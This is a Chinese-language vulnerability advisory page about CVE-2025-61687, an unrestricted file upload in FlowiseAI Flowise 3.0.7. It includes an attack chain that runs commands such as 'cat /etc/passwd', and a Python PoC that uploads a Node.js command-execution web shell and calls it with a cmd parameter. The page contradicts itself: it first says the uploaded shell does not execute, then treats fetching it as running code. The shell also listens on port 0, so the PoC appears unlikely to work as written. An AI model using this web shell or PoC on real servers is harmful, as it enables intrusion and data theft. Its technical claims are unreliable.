IPBUF安全漏洞报告
English
CVE-2025-61687 CVSS 8.3 高危

CVE-2025-61687:FlowiseAI 任意文件上传导致远程代码执行漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-61687
漏洞类型
任意文件上传/远程代码执行(RCE)
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FlowiseAI Flowise

相关标签

任意文件上传远程代码执行RCEWeb ShellFlowiseAIFlowiseNode.js高危漏洞CVE-2025-61687身份验证绕过

漏洞概述

CVE-2025-61687 是 FlowiseAI Flowise 拖拽式大语言模型流程构建平台中存在的一个高危任意文件上传漏洞。该漏洞影响 Flowise 版本 3.0.7,允许经过身份验证的低权限用户上传任意文件而无需经过适当的验证。由于系统在文件上传过程中未对文件扩展名、MIME 类型或文件内容进行任何校验,攻击者可以将恶意的 Node.js Web Shell 脚本持久化存储到服务器上。虽然上传的 Shell 不会自动执行,但其存在为后续通过管理员误操作或与其他漏洞链式利用提供了攻击路径,可能导致远程代码执行(RCE),严重威胁系统的完整性和机密性。该漏洞的 CVSS 3.1 评分为 8.3 分,属于高危级别。截至漏洞披露时,官方尚未发布任何已知的修复版本,受影响用户应密切关注官方补丁发布动态。该漏洞由 GitHub 安全顾问团队([email protected])发现并报告,披露日期为 2025 年 10 月 6 日。漏洞涉及的核心代码位于 packages/components/src/storageUtils.ts 和 packages/server/src/controllers/attachments/index.ts 等文件中,攻击者可通过附件上传接口触发漏洞。

技术细节

该漏洞的根本原因在于 FlowiseAI Flowise 的文件上传功能缺乏充分的安全验证机制。具体而言,在 packages/components/src/storageUtils.ts 的第 1104-1111 行、170-175 行以及 533-541 行代码中,文件保存逻辑未对用户上传的文件进行以下关键校验:

1. **文件扩展名校验缺失**:系统未限制可上传文件的扩展名,攻击者可以上传 .js、.ts 等可执行脚本文件。
2. **MIME 类型校验缺失**:未对 HTTP 请求中的 Content-Type 头进行验证,攻击者可伪造 MIME 类型绕过客户端检查。
3. **文件内容校验缺失**:未对上传文件的内容进行恶意代码扫描或魔术字节(magic bytes)检测。

在 packages/server/src/controllers/attachments/index.ts 和 routes/attachments/index.ts 中,附件上传路由直接调用存储工具函数,将用户上传的文件保存到服务器文件系统。攻击者利用此漏洞的步骤如下:首先以合法用户身份登录系统,获取有效的认证凭据;然后构造包含 Node.js Web Shell 代码的 JavaScript 文件,通过附件上传接口将其上传至服务器;服务器在缺少验证的情况下将恶意文件存储到可访问的目录中;最后,攻击者通过直接访问上传的 Web Shell URL,传入命令参数即可在服务器上执行任意系统命令,实现远程代码执行。整个攻击链利用了身份验证与文件上传验证之间的安全缺口,将低权限提升为完整的服务器控制权。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过合法途径(如注册、钓鱼或购买)获取 FlowiseAI Flowise 平台的低权限用户账号,或利用其他漏洞获取初始访问权限。
STEP 2
步骤2:构造恶意 Web Shell
攻击者创建一个包含 Node.js 代码的 Web Shell 文件,该文件能够接收 HTTP 请求并执行任意系统命令,将结果返回给攻击者。
STEP 3
步骤3:上传恶意文件
通过 /api/v1/attachments/upload 接口上传恶意 JavaScript 文件。由于系统未验证文件扩展名、MIME 类型和文件内容,上传请求被成功接受,恶意文件被持久化存储在服务器上。
STEP 4
步骤4:触发远程代码执行
攻击者通过直接访问上传的 Web Shell URL,传入系统命令参数(如 whoami、cat /etc/passwd 等),服务器执行命令并将结果返回,实现远程代码执行。
STEP 5
步骤5:权限提升与持久化
获得 RCE 能力后,攻击者可进一步提取敏感数据、安装后门、横向移动或提升权限,对系统造成持续性损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61687 PoC - FlowiseAI Flowise Arbitrary File Upload to RCE # Vulnerability: Unrestricted file upload in attachments endpoint # Affected: FlowiseAI Flowise version 3.0.7 import requests # Target configuration TARGET_URL = "http://target-flowise-server:3000" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain session/token session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/v1/auth/login", json=login_payload) token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Create a malicious Node.js web shell payload web_shell_content = ''' const express = require('express'); const { exec } = require('child_process'); const app = express(); app.get('/shell', (req, res) => { const cmd = req.query.cmd || 'id'; exec(cmd, (error, stdout, stderr) => { res.send(`<pre>${stdout || stderr}</pre>`); }); }); app.listen(0, () => console.log('Shell active')); ''' # Step 3: Upload the web shell via the attachments endpoint files = { "file": ("shell.js", web_shell_content, "application/javascript") } upload_resp = session.post( f"{TARGET_URL}/api/v1/attachments/upload", files=files, headers=headers ) print(f"Upload response: {upload_resp.status_code}") print(f"Uploaded file location: {upload_resp.json()}") # Step 4: Access the uploaded web shell to execute commands shell_url = upload_resp.json().get("location", "/uploads/shell.js") exploit_resp = session.get(f"{TARGET_URL}{shell_url}?cmd=whoami") print(f"RCE output: {exploit_resp.text}")

影响范围

FlowiseAI Flowise 3.0.7

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)限制附件上传接口的访问权限,仅允许可信的管理员用户使用;2)在反向代理(如 Nginx)或 Web 服务器层面禁用上传目录的脚本执行权限;3)部署入侵检测系统(IDS)监控可疑的文件上传行为;4)对上传的文件进行定期扫描,及时清理可疑的脚本文件;5)加强访问控制,限制低权限用户的上传功能;6)监控服务器进程和网络连接,及时发现异常的 Web Shell 活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表